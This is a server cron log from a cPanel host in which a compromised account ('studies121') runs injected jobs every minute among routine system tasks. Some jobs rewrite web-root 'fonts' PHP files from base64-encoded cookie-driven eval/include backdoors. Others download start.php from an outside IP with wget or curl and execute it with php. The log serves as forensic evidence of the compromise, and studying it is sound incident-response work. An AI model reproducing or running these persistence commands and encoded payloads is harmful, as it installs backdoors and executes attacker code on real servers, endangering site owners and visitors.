Sep 22 02:38:01 ip-184-168-122-23 CROND[30408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:38:01 ip-184-168-122-23 CROND[30410]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:38:01 ip-184-168-122-23 CROND[30411]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:38:01 ip-184-168-122-23 CROND[30417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:39:01 ip-184-168-122-23 CROND[30548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:39:01 ip-184-168-122-23 CROND[30550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:39:01 ip-184-168-122-23 CROND[30551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:39:01 ip-184-168-122-23 CROND[30552]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:39:01 ip-184-168-122-23 CROND[30553]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 02:40:01 ip-184-168-122-23 CROND[30694]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 02:40:01 ip-184-168-122-23 CROND[30697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:40:01 ip-184-168-122-23 CROND[30701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:40:01 ip-184-168-122-23 CROND[30703]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:40:01 ip-184-168-122-23 CROND[30699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:40:01 ip-184-168-122-23 CROND[30700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:40:01 ip-184-168-122-23 CROND[30704]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:40:01 ip-184-168-122-23 CROND[30705]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:41:01 ip-184-168-122-23 CROND[30843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:41:01 ip-184-168-122-23 CROND[30845]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:41:01 ip-184-168-122-23 CROND[30847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:41:01 ip-184-168-122-23 CROND[30849]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:42:01 ip-184-168-122-23 CROND[30983]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:42:01 ip-184-168-122-23 CROND[30985]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:42:01 ip-184-168-122-23 CROND[30987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:42:01 ip-184-168-122-23 CROND[30989]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:42:01 ip-184-168-122-23 CROND[30988]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:43:01 ip-184-168-122-23 CROND[31089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:43:01 ip-184-168-122-23 CROND[31090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:43:01 ip-184-168-122-23 CROND[31091]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:43:01 ip-184-168-122-23 CROND[31094]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:44:02 ip-184-168-122-23 CROND[31305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:44:02 ip-184-168-122-23 CROND[31304]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:44:02 ip-184-168-122-23 CROND[31308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:44:02 ip-184-168-122-23 CROND[31309]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:44:02 ip-184-168-122-23 CROND[31310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:45:01 ip-184-168-122-23 CROND[31423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:45:01 ip-184-168-122-23 CROND[31425]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:45:01 ip-184-168-122-23 CROND[31428]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:45:01 ip-184-168-122-23 CROND[31426]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:45:01 ip-184-168-122-23 CROND[31429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:45:01 ip-184-168-122-23 CROND[31430]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 02:46:01 ip-184-168-122-23 CROND[31566]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:46:01 ip-184-168-122-23 CROND[31567]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 02:46:01 ip-184-168-122-23 CROND[31572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:46:01 ip-184-168-122-23 CROND[31573]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 22 02:46:01 ip-184-168-122-23 CROND[31571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:46:01 ip-184-168-122-23 CROND[31574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:46:01 ip-184-168-122-23 CROND[31570]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:47:01 ip-184-168-122-23 CROND[31675]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:47:01 ip-184-168-122-23 CROND[31676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:47:01 ip-184-168-122-23 CROND[31677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:47:01 ip-184-168-122-23 CROND[31679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:48:01 ip-184-168-122-23 CROND[31760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:48:01 ip-184-168-122-23 CROND[31764]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 02:48:01 ip-184-168-122-23 CROND[31765]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:48:01 ip-184-168-122-23 CROND[31762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:48:01 ip-184-168-122-23 CROND[31770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:49:01 ip-184-168-122-23 CROND[31935]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 02:49:01 ip-184-168-122-23 CROND[31936]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 02:49:01 ip-184-168-122-23 CROND[31938]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:49:01 ip-184-168-122-23 CROND[31939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:50:01 ip-184-168-122-23 CROND[32053]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 02:50:01 ip-184-168-122-23 CROND[32055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 02:50:01 ip-184-168-122-23 CROND[32054]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 02:50:01 ip-184-168-122-23 CROND[32068]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 02:50:01 ip-184-168-122-23 CROND[32063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 02:50:01 ip-184-168-122-23 CROND[32066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
